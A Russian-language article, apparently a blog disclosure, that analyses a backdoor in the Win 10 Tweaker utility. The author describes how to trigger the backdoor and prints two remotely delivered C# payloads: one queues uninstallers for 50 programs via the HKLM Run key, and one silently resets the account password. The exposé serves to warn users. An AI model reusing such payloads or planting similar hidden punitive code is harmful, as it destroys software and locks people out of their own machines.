Бэкдор в Win 10 Tweaker, или современные методы борьбы с пиратством
Для неподготовленных юзеров, которые сталкиваются с Windows, настройки ОС иногда становятся настоящим темным лесом. Эту достаточно узкую нишу охватывают разработчики всевозможных твикеров, один из который в своих подходах к защите своей программы пошел самым радикальным способом. Сегодня мы немножко препарируем один самых известных таких продуктов — Win 10 Tweaker и посмотрим, какой «сюрприз» спрятал внутри его создатель.
Решил оформить небольшой материал с доказательствами того, как с недавних пор (примерно с осени 2020 года) в Win 10 Tweaker в целях борьбы со взломом программы был интегрирован самый обычный бэкдор, в особых обстоятельствах получающий зловредный код с ресурса https://win10tweaker.com/PrivilegeUser.php? key=Universal.
Не будем обсуждать личность автора и его отношение к пользователям, а также то, что он творит на своем форуме, а поговорим о том, что нам поведал сниффер трафика Win 10 Tweaker.
Скачиваем с сайта последнюю версию программы. Сейчас скачивается версия 17.2, SHA-256: 06DB5801D37895C75B7D60FA5971827DA80CC275D9E78E5986A120C003021A0D;
Выяснилось, что, чтобы вызвать скачивания удаленного кода, надо просто создать в %LOCALAPPDATA% папку Turbo.net, а внутри — просто пустой файл System.Deps.dll;
Запускаем Win 10 Tweaker и принимаем правой кнопкой соглашение;
Хватит лишь открытия раздела «Системная информация», где можно получить сведения о характеристиках ПК;
Сразу с ресурса, указанного выше, через бэкдор в открытом виде скачивается и исполняется код, написанный на C#, который прописывает в реестре в раздел автозагрузки для всех пользователей ключи на удаление первых 50 установленных программ. При первом выходе/входе из учетной записи или перезагрузке эти программы запустят свои деинсталляторы.
using System;
using System.Collections.Generic;
using Microsoft.Win32;
using System.IO;
namespace N {
class C {
public void M() {
string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\AppData\\Local\\Turbo.net";
if (Directory.Exists(path)) {
string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);
foreach(string file in files) {
if (file.Contains("System.Deps.dll")) {
List list = new List();
using(RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall")) {
foreach(string k in key.GetSubKeyNames()) {
if (key.OpenSubKey(k).GetValue("UninstallString") != null) {
list.Add(key.OpenSubKey(k).GetValue("UninstallString").ToString());
}
}
}
for (int i = 0; i < 50; i++) {
RegistryKey key = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key.SetValue(i.ToString(), list[i]);
}
}
}
}
}
}
}
Разберем по-быстрому код.
Берется путь профиля и присобачивается к нему »\\AppData\\Local\\Turbo.net»;
Если имеется папка Turbo.net, то помаске *.* рекурсивно ищется файл System.Deps.dll;
Если такой на вашу беду находится, то получаем значения ключей UninstallString в разделе HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall. В этом параметре хранится команда для деинсталляции программ. Собственно, именно эта команда запускается, когда вы удаляет в Windows любую программу, если ее деинсталлятор прописывается в системе.
Сохраняем полученные строки и записываем первые 50 команд на удаление в автозагрузку для всех пользователей. Отныне при первой перезагрузке запустят свои деинсталляторы те программы, у которых есть свойство UninstallString.
Сохраненная ссылка на Wayback Machine, если «чудотворным» образом ресурс будет недоступен. Кстати, тот же зловредный код расположен и на домене https://win10tweaker.ru/PrivilegeUser.php? key=Universal.
Скажите спасибо, что не в тихом режиме все удаляется, и окошки с уведомлением об удалении будут видны в любом случае.
Осенью же на этом ресурсе располагался другой код, устанавливающий пароль на учетную запись. Пароль, как нетрудно догадаться, глядя на код, был Rock5taR. То есть ресурс один, а зловредный код иногда да и меняется.
using System;
using System.Diagnostics;
using System.IO;
namespace N
{
class C
{
public void M()
{
string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\AppData\\Local\\Turbo.net";
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);
foreach (string file in files)
{
if (file.Contains("System.Deps.dll"))
{
Process.Start(new ProcessStartInfo
{
FileName = "cmd",
Arguments = "/c net user " + "\"" + Environment.UserName + "\"" + " Rock5taR",
WindowStyle = ProcessWindowStyle.Hidden
});
}
}
}
}
}
}
Также автор заявляет о портативности программы, что на самом деле не так: чего только стоит создание неудаляемого ключа в реестре по пути HKCU\Software\Win 10 Tweaker, так как программа меняет права доступа на этот раздел.
Видео с одним из вариантов, как удалить ключ.
Остается тайной, зачем автор в борьбе с пиратами, беря за программу в том числе и плату, интегрировал туда самый обычный бэкдор. И кто знает, что еще она в себе таит… Выводы, как всегда, делать только вам.